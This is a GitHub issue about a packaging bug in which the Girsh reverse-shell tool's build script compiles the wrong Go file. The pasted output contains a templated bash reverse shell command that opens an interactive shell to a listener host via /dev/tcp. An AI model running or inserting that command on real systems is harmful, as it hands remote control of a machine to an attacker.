Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Girsh: build target #3106

Closed
noraj opened this issue May 26, 2021 · 2 comments
Closed

Girsh: build target #3106

noraj opened this issue May 26, 2021 · 2 comments

Comments

@noraj
Copy link
Contributor

noraj commented May 26, 2021

Bug description

Warning: I don't know how Go projects work.

It seems that Girsh PKGBUILD is building only the revshell.go instead of the full tool located in the |src/](https://github.com/nodauf/Girsh/tree/main/src) folder.

So when you launch the tool it does not execute the expected function:

$ girsh -h | head 
[
 {
  "type": "php",
  "note": "",
  "payload": "test"
 },
 {
  "type": "bash",
  "note": "",
  "payload": "/bin/bash -c '/bin/bash -i \u003e\u0026 /dev/tcp/{LHOST}/{LPORT} 0\u003e\u00261' "

It should execute src/main.go instead. I don't know how to have the same behavior than go run src/main.go -h. I guess the go.mod is not properly setup?

Update

I'm reading https://blog.golang.org/using-go-modules and I understand it's normal that revshell.go is there and that the one that should the main in src/.

Create a new, empty directory somewhere outside $GOPATH/src, cd into that directory, and then create a new source file, hello.go:

@noraj
Copy link
Contributor Author

noraj commented May 27, 2021

Thanks @Edu4rdSHL. I tried to troubleshot locally without a chance. Trying to find a better alternative I found Platypus the interactive shell mode worked well and the multi-listener is nice too.

@Edu4rdSHL
Copy link
Contributor

Hey @noraj, it was an easy fix. I'm working on the Platypus PKGBUILD too.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants